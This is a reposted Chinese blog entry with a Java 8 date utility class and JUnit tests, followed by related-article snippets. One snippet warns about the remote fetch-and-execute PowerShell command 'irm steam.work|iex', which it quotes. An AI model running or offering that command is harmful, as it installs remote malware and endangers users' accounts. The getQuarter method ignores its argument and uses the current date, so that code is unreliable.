DateUtil

news/2025/11/16 20:54:14/文章来源:https://www.cnblogs.com/SetariaViridis/p/19229008
点击查看
import org.junit.Test;import java.time.*;
import java.time.format.DateTimeFormatter;
import java.time.temporal.ChronoUnit;
import java.time.temporal.TemporalAdjusters;
import java.time.temporal.WeekFields;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.Stream;public class Java8DateUtil {public static final String yyyy_MM_dd_HH_mm_ss_SSS = "yyyy-MM-dd HH:mm:ss.SSS";public static final String yyyy_MM_dd_HH_mm_ss = "yyyy-MM-dd HH:mm:ss";public static final String yyyy_MM_dd_HH_mm = "yyyy-MM-dd HH:mm";public static final String yyyy_MM_dd_HH_mm_ss_cn = "yyyy年MM月dd日 HH时mm分ss秒";public static final String yyyy_MM_dd_HH_mm_cn = "yyyy年MM月dd日 HH时mm分";public static final String yyyy_MM_dd = "yyyy-MM-dd";public static final String yyyy_MM_dd_cn = "yyyy年MM月dd日";public static final String HH_mm_ss = "HH:mm:ss";public static final String HH_mm = "HH:mm";public static final String HH_mm_ss_cn = "HH时mm分ss秒";/*** parse datetime** @param datetime* @param formatter* @return*/public static LocalDateTime parseLocalDateTime(String datetime, String formatter) {return LocalDateTime.parse(datetime, DateTimeFormatter.ofPattern(formatter));}/*** parse date** @param date* @param formatter* @return*/public static LocalDate parseLocalDate(String date, String formatter) {return LocalDate.parse(date, DateTimeFormatter.ofPattern(formatter));}/*** parse time** @param time* @param formatter* @return*/public static LocalTime parseLocalTime(String time, String formatter) {return LocalTime.parse(time, DateTimeFormatter.ofPattern(formatter));}/*** format datetime** @param datetime* @param formatter* @return*/public static String formatLocalDateTime(LocalDateTime datetime, String formatter) {return datetime.format(DateTimeFormatter.ofPattern(formatter));}/*** format date** @param date* @param formatter* @return*/public static String formatLocalDate(LocalDate date, String formatter) {return date.format(DateTimeFormatter.ofPattern(formatter));}/*** format time** @param time* @param formatter* @return*/public static String formatLocalTime(LocalTime time, String formatter) {return time.format(DateTimeFormatter.ofPattern(formatter));}/*** 日期相隔天数** @param start* @param end* @return*/public static long betweenDays(LocalDate start, LocalDate end) {return ChronoUnit.DAYS.between(start, end);}/*** 日期相隔小时** @param start* @param end* @return*/public static long betweenHours(LocalDateTime start, LocalDateTime end) {return Duration.between(start, end).toHours();}/*** 日期相隔分钟** @param start* @param end* @return*/public static long betweenMinutes(LocalDateTime start, LocalDateTime end) {return Duration.between(start, end).toMinutes();}/*** 日期相隔毫秒数** @param start* @param end* @return*/public static long betweenMillis(LocalDateTime start, LocalDateTime end) {return Duration.between(start, end).toMillis();}/*** LocalDate --> Date** @param localDate* @return*/public static Date localDate2Date(LocalDate localDate) {return Date.from(localDate.atStartOfDay().atZone(ZoneId.systemDefault()).toInstant());}/*** LocalDateTime --> Date** @param localDateTime* @return*/public static Date localDateTime2Date(LocalDateTime localDateTime) {return Date.from(localDateTime.atZone(ZoneId.systemDefault()).toInstant());}/*** Date --> LocalDate** @param date* @return*/public static LocalDate date2LocalDate(Date date) {return Instant.ofEpochMilli(date.getTime()).atZone(ZoneId.systemDefault()).toLocalDate();}/*** Date --> LocalDateTime** @param date* @return*/public static LocalDateTime date2LocalDateTime(Date date) {return Instant.ofEpochMilli(date.getTime()).atZone(ZoneId.systemDefault()).toLocalDateTime();}/*** timeMillis --> LocalDate** @param timeMillis* @return*/public static LocalDate timeMillis2LocalDate(Long timeMillis) {return Instant.ofEpochMilli(timeMillis).atZone(ZoneId.systemDefault()).toLocalDate();}/*** timeMillis --> LocalTime** @param timeMillis* @return*/public static LocalTime timeMillis2LocalTime(Long timeMillis) {return Instant.ofEpochMilli(timeMillis).atZone(ZoneId.systemDefault()).toLocalTime();}/*** timeMillis --> LocalDateTime** @param timeMillis* @return*/public static LocalDateTime timeMillis2LocalDateTime(Long timeMillis) {return Instant.ofEpochMilli(timeMillis).atZone(ZoneId.systemDefault()).toLocalDateTime();}/*** LocalDate  --> timeMillis** @param localDate* @return*/public static Long localDate2timeMillis(LocalDate localDate) {return localDate2Date(localDate).getTime();}/*** LocalTime  --> timeMillis** @param localTime* @return*/public static Long localTime2timeMillis(LocalTime localTime) {return localDateTime2timeMillis(LocalDateTime.of(LocalDate.of(1970, 1, 1), localTime));}/*** LocalDateTime  --> timeMillis** @param localDateTime* @return*/public static Long localDateTime2timeMillis(LocalDateTime localDateTime) {return localDateTime2Date(localDateTime).getTime();}/*** 获取2个日期之间的所有日期(闭区间(即: 包括首尾))** @param startDate* @param endDate* @return*/public static List<LocalDate> getDatesBetween2Dates(LocalDate startDate, LocalDate endDate) {if (startDate.isAfter(endDate)) {throw new RuntimeException("开始日期不能晚于结束日期");}List<LocalDate> localDates = new ArrayList<>();LocalDate item = startDate;while (!item.isAfter(endDate)) {localDates.add(item);item = item.plusDays(1);}return localDates;}/*** 获取2个日期之间的所有日期(闭区间(即: 包括首尾))** @param startDate* @param endDate* @return*/public static List<LocalDate> getDatesBetween2DatesV2(LocalDate startDate, LocalDate endDate) {if (startDate.isAfter(endDate)) {throw new RuntimeException("开始日期不能晚于结束日期");}return Stream.iterate(startDate, date -> date.plusDays(1)).limit(ChronoUnit.DAYS.between(startDate, endDate) + 1).collect(Collectors.toList());}/*** 该日期所在月份的第一天** @param date* @return*/public static LocalDate getFirstDateOfMonth(LocalDate date) {return LocalDate.of(date.getYear(), date.getMonthValue(), 1);}/*** 该日期所在月份的最后一天** @param date* @return*/public static LocalDate getLastDateOfMonth(LocalDate date) {return LocalDate.of(date.getYear(), date.getMonthValue(), date.lengthOfMonth());}/*** 该日期所在的周在一年当中是第几周(这里的周指 ISO 标准周)** @param date 指定日期* @return*/public static int getWeekOfWeekBasedYear(LocalDate date) {/** ISO标准周: 周一为每周的第一天 */// 第一周: 本年度第一个至少有 4 天的周,WeekFields 源码中也是这样定义的: WeekFields ISO = new WeekFields(DayOfWeek.MONDAY, 4));//        至少有 4 天,换句话说就是本年度就是第一个周四所在的周;//        第一周和最后一周是有可能跨年的,示例: 2025年的第一周为: 2024-12-30 ~ 2025-01-05;/** SUNDAY_START: 周日为每周的第一天,适用于北美和部分欧洲国家 */// 第一周: 第一个至少有 1 天的周return date.get(WeekFields.ISO.weekOfWeekBasedYear());}/*** 该日期所在的周对应的年份(这里的周指 ISO 标准周)* 第一周和最后一周是有可能跨年的,示例: 2025年的第一周为: 2024-12-30 ~ 2025-01-05;因此 2024-12-30 和 2024-12-31 所在周对应的年份也是 2025** @param date 指定日期* @return*/public static int getWeekBasedYear(LocalDate date) {return date.get(WeekFields.ISO.weekBasedYear());}/*** 查看指定年份指定周对应的周一(这里的周指 ISO 标准周)** @param year       示例: 2024* @param weekOfYear 第几周* @return*/public static LocalDate getMondayByWeekOfYear(int year, int weekOfYear) {// 获取指定年份的第一天LocalDate firstDayOfYear = LocalDate.of(year, 1, 1);// 第一个周四LocalDate firstThursday = firstDayOfYear.with(TemporalAdjusters.nextOrSame(DayOfWeek.THURSDAY));// 第一个周一LocalDate mondayOfFirstWeek = firstThursday.minusDays(3);return mondayOfFirstWeek.plusWeeks(weekOfYear - 1);}/*** 该日期所在周的周一** @param date* @return*/public static LocalDate getDateOfMonday(LocalDate date) {return date.minusDays(date.getDayOfWeek().getValue() - 1);}/*** 该日期所在周的周日** @param date* @return*/public static LocalDate getDateOfSunday(LocalDate date) {return date.plusDays(7 - date.getDayOfWeek().getValue());}/*** 某天的 00:00:00** @param date* @return*/public static LocalDateTime getDayBegin(LocalDate date) {return LocalDateTime.of(date, LocalTime.of(0, 0, 0));}/*** 某天的 23:59:59** @param date* @return*/public static LocalDateTime getDayEnd(LocalDate date) {return LocalDateTime.of(date, LocalTime.of(23, 59, 59));}/*** 该日期所在的季度** @param date 指定日期* @return 1, 2, 3, 4*/public static Integer getQuarter(LocalDate date) {return (int) Math.ceil(LocalDate.now().getMonthValue() / 3.0);}/*** 格式化时间段** @param millis 毫秒* @return*/public static String formatDuring(long millis) {if (Long.valueOf(0L).equals(millis)) {return "0毫秒";}long days = millis / (1000 * 60 * 60 * 24);long left = millis % (1000 * 60 * 60 * 24);long hours = left / (1000 * 60 * 60);left = left % (1000 * 60 * 60);long minutes = left / (1000 * 60);left = left % (1000 * 60);long seconds = left / 1000;left = left % 1000;String s = days > 0 ? (days + "天") : ("");s += hours > 0 ? (hours + "小时") : ("");s += minutes > 0 ? (minutes + "分钟") : ("");s += seconds > 0 ? (seconds + "秒") : ("");s += left > 0 ? (left + "毫秒") : ("");return s;}// 节假日// https://timor.tech/api/holiday/@Testpublic void parseTest() {System.err.println(parseLocalDateTime("2020-01-01 10:10:10.100", yyyy_MM_dd_HH_mm_ss_SSS));System.err.println(parseLocalDateTime("2020-01-01 10:10:10", yyyy_MM_dd_HH_mm_ss));System.err.println(parseLocalDate("2020-01-01", yyyy_MM_dd));System.err.println(parseLocalTime("10:10:10", HH_mm_ss));}@Testpublic void formatTest() {System.err.println(formatLocalDateTime(LocalDateTime.now(), yyyy_MM_dd_HH_mm_ss_SSS));System.err.println(formatLocalDateTime(LocalDateTime.now(), yyyy_MM_dd_HH_mm_ss));System.err.println(formatLocalDate(LocalDate.now(), yyyy_MM_dd));System.err.println(formatLocalTime(LocalTime.now(), HH_mm_ss));}@Testpublic void betweenTest() {System.out.println(betweenDays(LocalDate.of(2020, 6, 1), LocalDate.of(2020, 7, 1)));System.out.println(betweenHours(LocalDateTime.now(), LocalDateTime.now().plusHours(100)));System.out.println(betweenMinutes(LocalDateTime.now(), LocalDateTime.now().plusMinutes(100)));System.out.println(betweenMillis(LocalDateTime.now(), LocalDateTime.now().plusHours(100)));}@Testpublic void convertTest() {System.err.println(localDate2Date(LocalDate.now()));System.err.println(localDateTime2Date(LocalDateTime.now()));System.err.println(date2LocalDate(new Date()));System.err.println(date2LocalDateTime(new Date()));}@Testpublic void millisTest() {System.out.println(timeMillis2LocalDate(System.currentTimeMillis()));System.out.println(timeMillis2LocalTime(System.currentTimeMillis()));System.out.println(timeMillis2LocalDateTime(System.currentTimeMillis()));System.err.println(localDate2timeMillis(LocalDate.now()));System.err.println(localTime2timeMillis(LocalTime.now()));System.err.println(localDateTime2timeMillis(LocalDateTime.now()));}@Testpublic void getMondayByWeekOfYearTest() {LocalDate secondWeekOf2024 = getMondayByWeekOfYear(2024, 2);LocalDate firstWeekOf2025 = getMondayByWeekOfYear(2025, 1);LocalDate firstWeekOf2027 = getMondayByWeekOfYear(2027, 1);System.err.println(secondWeekOf2024);System.err.println(firstWeekOf2025);System.err.println(firstWeekOf2027);}@Testpublic void getWeekBasedYearTest() {int year = getWeekBasedYear(LocalDate.of(2024, 12, 30));System.err.println(year);}@Testpublic void getDatesBetween2DatesTest() {List<LocalDate> dates = getDatesBetween2Dates(LocalDate.of(2025, 1, 1), LocalDate.of(2025, 2, 15));System.err.println(dates);}@Testpublic void getDatesBetween2DatesV2Test() {List<LocalDate> dates = getDatesBetween2DatesV2(LocalDate.of(2025, 1, 1), LocalDate.of(2025, 2, 15));System.err.println(dates);}/*** 补充:**  mysql数据类型 - java数据类型*      time - LocalTime/java.sql.Time*      date - LocalDate/java.sql.Date*      datetime - LocalDateTime/java.util.Date**  java8 日期类 和 mysql 的字段类型映射,需满足: mysql 驱动包版本不低于 4.2*     <dependency>*         <groupId>mysql</groupId>*         <artifactId>mysql-connector-java</artifactId>*         <version>5.1.37</version>*     </dependency>**  如果使用 mybatis,则还需添加依赖(mybatis-plus 较新版本已经做了支持,不需要该依赖)*     <dependency>*         <groupId>org.mybatis</groupId>*         <artifactId>mybatis-typehandlers-jsr310</artifactId>*         <version>1.0.1</version>*     </dependency>**/}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/967342.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(链表)找单链表倒数第k个结点

5.找单链表倒数第k个结点 Node* Get_Kth_Node(Node* plist, int k) { Node* p = plist; Node* q = plist;for (int i = 0; i < k; i++)q = q->next;while (q != NULL) {p = p->next;q = q->next; }return …

(链表)判断是否回文

4.判断是否回文 std::stack<Node*> st; int len = GetLength(plist);Node* p = plist->next; for (int i = 0; i < len / 2; i++) {st.push(p);p = p->next; }if (len % 2 != 0)p = p->next;while (…

和为定值的子集数 25-11-16

和为定值的子集数 |递归|二叉树| 本题思维可以扩展到类似的题中,例如:子集和、子集积、排列组合类问题 其中:该题用到未知数组长度的读取,个人认为用stringstream会比之前的string然后一个一个读入方便很多 主要思…

(链表)判断两个单链表是否存在交点

2.判断两个单链表是否存在交点,如果存在交点,则找到相交的一点。 (1)只需判断是否相交 用两个分别跑到单链表的未结点处,然后判断是否是同一个尾结点即可 (2)指出具体的相交的结点是什么 先统计两个单链表长度,然…

(链表)逆置

1.逆置 (1)借助头结点 (2)不借助头结点 (3)(详情见project6) //0.判空处理 empty if (Is_Empty(plist)) return; //1.申请三个指针pqr,先给p和q赋值 r不着急 Node* p = plist->next; Node* q = p->next; Node…

(链表)任意删除一个结点

3.任意删除一个结点(要求时间复杂读为o(1)),给的这个节点的地址不能是尾结点(这个结点是无法找到上家的) //0.做判断:p不能是尾结点 if (p->next == NULL) return false; //1.申请一个指针q,用来指向p的下一…

在抖音直播推广开源作品的可行性?

一、前言作为85后,.NET开发已经有20年头了,人已经步入中年了,打工生涯也应该结束了,作为.NET微服务先驱者,2017年就开始研发surging, 然后在github开源,不出两年star 已经突破3k,star 的增加,代表了大多数人认可…

分布式监控体系:从指标采集到智能告警的完整之道 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

hot 100 (1)—— 两数之和(哈希) - 指南

hot 100 (1)—— 两数之和(哈希) - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &quo…

DLSS Swapper商业模式:开源软件商业化探索 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

性能优化体系化建设:BI平台的深度优化实践

第一部分:最复杂的性能优化经历——BI数据大盘加载卡顿 1. 问题背景与建立监控基线:场景:OMNIEYE平台的核心数据看板,用户配置了多个图表,一次性拉取并渲染数万行、数十列的数据,导致:API响应时间极长(超过10s…

AT_jsc2019_qual_e Card Collector题解

博客地址 图论建模还是太神仙了。 首先思考一下题目给的条件,每行只选一个,接着每列只选一个,由于这种唯一对应的性质,很容易让人想到二分图匹配,但数据范围并不允许我们这样做。 但这给我们一个图论建模的思路。…

20251115ACC

比赛链接 赛时 难绷 先通读四道题,T2有一个反悔贪心的思路,T3一眼差分,T1应该不会太难,心态良好。 于是直接开T1。思考近45min后想到直接硬拆绝对值,开始码。结果由于自己前期思路不严谨和代码实现问题,硬调2.5h才过…

Day40(10)-F:\硕士阶段\Java\课程代码\后端\web-ai-code\web-ai-project01\springboot-mybatis-quickstart

Mybatispublic class HikariDataSource extends HikariConfig implements DataSource, Closeable {private static final Logger LOGGER = LoggerFactory.getLogger(HikariDataSource.class);private final AtomicBool…

还能回到原先吗 绞尽脑汁翻阅文献 这名为爱的实验 被等号连接

test40 教练模拟器真好玩 /kel俄罗斯方块 旋转一下然后计数,注意对对称图形去重喵。 #pragma GCC optimize(1,2,3,"Ofast","inline") #include<bits/stdc++.h> #define int long long #def…

irm steam.work|iex 风险分析

一个高风险的恶意命令。 执行此命令将严重危害您的计算机安全和您的 Steam 帐户。 风险分析:irm steam.work|iex这个命令由三个部分组成,组合起来非常危险:irm steam.workirm 是 Invoke-RestMethod 的别名,这是一个…

2025年11月手动旗杆厂家口碑推荐榜单及选购指南

摘要 2025年旗杆行业迎来新一轮技术升级,不锈钢旗杆、电动旗杆等产品在材质工艺和智能控制方面均有显著突破。本文基于市场调研数据、用户反馈和行业技术参数,整理出手动旗杆领域权威推荐榜单,为酒店、学校、企业等…

2025年四川电动旗杆制造厂排行榜TOP5权威发布

摘要 随着城市化进程加快和企事业单位形象提升需求增长,2025年四川电动旗杆行业迎来快速发展期。本文基于市场调研数据、用户口碑评价和技术实力评估,为您呈现最新行业排行榜单,为采购决策提供参考依据。文末附有详…

Pandas --DataFrame基本操作

Pandas --DataFrame基本操作一.介绍DataFrame是pandas中另一个核心数据结构,它是一个二维的、大小可变的、可以存储多种类型数据的表格结构。每一列可以是不同的类型(数值、字符串、布尔值等),并且有行索引和列索引…

2025年11月全国旗杆厂家综合实力排行榜TOP5权威发布

摘要 2025年旗杆制造行业迎来技术升级与市场需求双增长,智能化、定制化成为主流趋势。本文基于行业数据调研、用户口碑评价、技术实力评估等多维度分析,为您呈现最新旗杆厂家排名榜单。本榜单旨在为政府采购、企业采…